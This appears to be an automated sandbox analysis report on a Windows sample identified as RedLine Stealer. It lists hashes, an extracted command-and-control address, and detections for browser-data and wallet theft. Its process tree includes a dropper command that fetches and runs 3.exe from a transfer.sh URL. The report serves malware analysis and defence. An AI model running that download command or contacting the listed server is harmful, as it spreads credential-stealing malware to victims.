Analysis
- max time kernel
73s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20220331-en - submitted
01/04/2022, 19:09
Static task
static1
Behavioral task
behavioral1
Sample
e8267780010f1b79d10d22bf70ba6f5e.exe
Resource
win7-20220311-en
0 signatures
0 seconds
General
- Target e8267780010f1b79d10d22bf70ba6f5e.exe
- Size 349KB
- Sample220401-xtr1rscabp
- SHA256 1d1c688d117950a23ae8c39cbe2bfee953030f33a59afe869989b2e9470c464e
- MD5 e8267780010f1b79d10d22bf70ba6f5e
- SHA1 f30bfba63ff4ea5c73048631bdadbbd37d22ffb0
- SHA512 b766a0e264ae62ceccdc07eac2745cf0cadc1bbab87dcb3466a4585633ade57f97f5bf60a116ff134349891a3b62d9b0774fb0ab38af48697f1d2ecc7dc5e629
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
redline
C2
-
78.24.216.5:12794
Attributes
-
auth_value
6687e352a0604d495c3851d248ebf06f
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 4 IoCs
resource yara_rule behavioral2/files/0x0006000000021e4d-135.dat family_redline behavioral2/files/0x0006000000021e4d-137.dat family_redline behavioral2/files/0x0006000000021e4d-138.dat family_redline behavioral2/memory/5032-141-0x0000000000A50000-0x0000000000A70000-memory.dmp family_redline - suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
- Downloads MZ/PE file
- Executes dropped EXE 6 IoCs
pid Process 2852 extd.exe 4456 extd.exe 2828 extd.exe 5032 3.exe 5024 3.exe 2728 extd.exe -
resource yara_rule behavioral2/files/0x0006000000021e4a-127.dat upx behavioral2/files/0x0006000000021e4a-128.dat upx behavioral2/files/0x0006000000021e4a-130.dat upx behavioral2/files/0x0006000000021e4a-132.dat upx behavioral2/files/0x0006000000021e4a-140.dat upx - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 5032 3.exe 5024 3.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5032 3.exe Token: SeDebugPrivilege 5024 3.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3236 wrote to memory of 4032 3236 e8267780010f1b79d10d22bf70ba6f5e.exe 77 PID 3236 wrote to memory of 4032 3236 e8267780010f1b79d10d22bf70ba6f5e.exe 77 PID 4032 wrote to memory of 2852 4032 cmd.exe 78 PID 4032 wrote to memory of 2852 4032 cmd.exe 78 PID 4032 wrote to memory of 2852 4032 cmd.exe 78 PID 4032 wrote to memory of 4456 4032 cmd.exe 79 PID 4032 wrote to memory of 4456 4032 cmd.exe 79 PID 4032 wrote to memory of 4456 4032 cmd.exe 79 PID 4032 wrote to memory of 2828 4032 cmd.exe 80 PID 4032 wrote to memory of 2828 4032 cmd.exe 80 PID 4032 wrote to memory of 2828 4032 cmd.exe 80 PID 4032 wrote to memory of 5032 4032 cmd.exe 81 PID 4032 wrote to memory of 5032 4032 cmd.exe 81 PID 4032 wrote to memory of 5032 4032 cmd.exe 81 PID 4032 wrote to memory of 5024 4032 cmd.exe 82 PID 4032 wrote to memory of 5024 4032 cmd.exe 82 PID 4032 wrote to memory of 5024 4032 cmd.exe 82 PID 4032 wrote to memory of 2728 4032 cmd.exe 83 PID 4032 wrote to memory of 2728 4032 cmd.exe 83 PID 4032 wrote to memory of 2728 4032 cmd.exe 83
Processes
-
C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe"C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3236 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\8EBA.bat C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4032 -
C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""3⤵
- Executes dropped EXE
PID:2852
-
-
C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "/download" "https://transfer.sh/get/aWWuuO/3.exe" "3.exe" "" "" "" "" "" ""3⤵
- Executes dropped EXE
PID:4456
-
-
C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "/download" "https://transfer.sh/get/aWWuuO/3.exe" "3.exe" "" "" "" "" "" ""3⤵
- Executes dropped EXE
PID:2828
-
-
C:\Users\Admin\AppData\Local\Temp\5348\3.exe3.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5032
-
-
C:\Users\Admin\AppData\Local\Temp\5348\3.exe3.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5024
-
-
C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe "" "" "" "" "" "" "" "" ""3⤵
- Executes dropped EXE
PID:2728
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3.exe.log
- Size 2KB
- SHA256 c60bc1eb89601d8780e868f01709628edd1d7b2b8bd963eae97a91dcf4566d01
- MD5 89287e5ea7af0defdfc69be4d9a0dbc8
- SHA1 fc925f17db9279a229b1a3cad2fc5d598d9281b0
- SHA512 39915ddb1eab1fb9c5b1e17d09540c8a1aa07e62e9621d4fc2c03bf397a4cf63f021db541051bd9a1a740bb5e074f2bcba34de26f17d1b09ee923e67d1456992
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\5348\3.exe
- Size 106KB
- SHA256 dbfc67a0f1ec16ef225619c1bb18d96f65c77c457020d547cc6758c089d072bf
- MD5 08b1a8c2716d7ee36567e3735d9fbbf9
- SHA1 2bd513c0c76bb817178b43b709384d2d8caced98
- SHA512 a78c95042655293213c3f67db4e8bbc1c2d558218e3a4aba725b42c23070b008d7c030ae576e7056c7673f28a595ea51cbd93816391b19e380b4635624d4dabe
- SSDEEP 1536:uRxIkCr9Q2ItAVcGPBjrAt/8xdVy3BfgHgjaoPjbuZEj6Rhs0wuei6FLI:4Cr9Q+TmsVy3BfgHgjao3hyhsh7c
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\5348\3.exe
- Size 106KB
- SHA256 dbfc67a0f1ec16ef225619c1bb18d96f65c77c457020d547cc6758c089d072bf
- MD5 08b1a8c2716d7ee36567e3735d9fbbf9
- SHA1 2bd513c0c76bb817178b43b709384d2d8caced98
- SHA512 a78c95042655293213c3f67db4e8bbc1c2d558218e3a4aba725b42c23070b008d7c030ae576e7056c7673f28a595ea51cbd93816391b19e380b4635624d4dabe
- SSDEEP 1536:uRxIkCr9Q2ItAVcGPBjrAt/8xdVy3BfgHgjaoPjbuZEj6Rhs0wuei6FLI:4Cr9Q+TmsVy3BfgHgjao3hyhsh7c
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\5348\3.exe
- Size 106KB
- SHA256 dbfc67a0f1ec16ef225619c1bb18d96f65c77c457020d547cc6758c089d072bf
- MD5 08b1a8c2716d7ee36567e3735d9fbbf9
- SHA1 2bd513c0c76bb817178b43b709384d2d8caced98
- SHA512 a78c95042655293213c3f67db4e8bbc1c2d558218e3a4aba725b42c23070b008d7c030ae576e7056c7673f28a595ea51cbd93816391b19e380b4635624d4dabe
- SSDEEP 1536:uRxIkCr9Q2ItAVcGPBjrAt/8xdVy3BfgHgjaoPjbuZEj6Rhs0wuei6FLI:4Cr9Q+TmsVy3BfgHgjao3hyhsh7c
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\8EBA.bat
- Size 604B
- SHA256 735c3b7203d3a9fb277baca37f1b25c0b7b59da57d69762864a57a20a3c384a1
- MD5 3b0062c996a94389f2afcb34bad986a1
- SHA1 203550db56947ac5d2a317d0a324bbc87cbe53d7
- SHA512 1eb671756d6e3f215efc0c974c4648fc42a21d5b5547b3de9a4177f444df17b329087411c6c9ce0da2f03f14e209ce022e795539035d27b2aefed1b2c4a5129a
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
- Size 259KB
- SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
- MD5 139b5ce627bc9ec1040a91ebe7830f7c
- SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
- SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
- SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
- Size 259KB
- SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
- MD5 139b5ce627bc9ec1040a91ebe7830f7c
- SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
- SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
- SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
- Size 259KB
- SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
- MD5 139b5ce627bc9ec1040a91ebe7830f7c
- SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
- SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
- SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
- Size 259KB
- SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
- MD5 139b5ce627bc9ec1040a91ebe7830f7c
- SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
- SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
- SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\8EB8.tmp\8EB9.tmp\extd.exe
- Size 259KB
- SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
- MD5 139b5ce627bc9ec1040a91ebe7830f7c
- SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
- SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
- SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
- MD5 SHA1 SHA512 SSDEEP